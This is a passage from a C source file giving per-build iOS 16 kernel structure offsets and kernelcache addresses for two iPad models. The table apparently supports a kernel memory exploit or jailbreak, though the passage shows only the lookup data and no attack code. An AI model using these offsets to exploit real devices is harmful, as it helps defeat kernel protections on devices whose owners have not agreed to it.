0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aad5288,\n            .kernelcache__gPhysBase = 0xfffffe0007a84100,\n            .kernelcache__gPhysSize = 0xfffffe0007a84100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a822d8,\n            .kernelcache__perfmon_devices = 0xfffffe000ab13520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d45c0,\n            .kernelcache__ptov_table = 0xfffffe00079cf188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab12990,\n            .kernelcache__vm_pages = 0xfffffe00079cbeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ce128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab12988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812374c,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:17:58 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8103\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,8\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000ab85ab0,\n            .kernelcache__gPhysBase = 0xfffffe0007a982a8,\n            .kernelcache__gPhysSize = 0xfffffe0007a982a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a96460,\n            .kernelcache__perfmon_devices = 0xfffffe000abc5550,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080f8dfc,\n            .kernelcache__ptov_table = 0xfffffe00079e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000abc4910,\n            .kernelcache__vm_pages = 0xfffffe00079e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000abc4908,\n            .kernelcache__vn_kqfilter = 0xfffffe0008147958,\n        },\n\n\n        // iPad Pro 11 inch 5th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:33 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,9\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f5190,\n            .kernelcache__gPhysBase = 0xfffffe00079a00c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a00c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e2a8,\n            .kernelcache__perfmon_devices = 0xfffffe000aa303b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7f50,\n            .kernelcache__ptov_table = 0xfffffe00078eb378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2f800,\n            .kernelcache__vm_pages = 0xfffffe00078e8090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a50c,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,9\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,9\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,9\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,9\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:54 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,9\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aad5288,\n            .kernelcache__gPhysBase = 0xfffffe0007a84100,\n            .kernelcache__gPhysSize = 0xfffffe0007a84100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a822d8,\n            .kernelcache__perfmon_devices = 0xfffffe000ab13520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d45c0,\n            .kernelcache__ptov_table = 0xfffffe00079cf188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab12990,\n            .kernelcache__vm_pages = 0xfffffe00079cbeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ce128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab12988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812374c,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:17:58 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8103\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,9\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 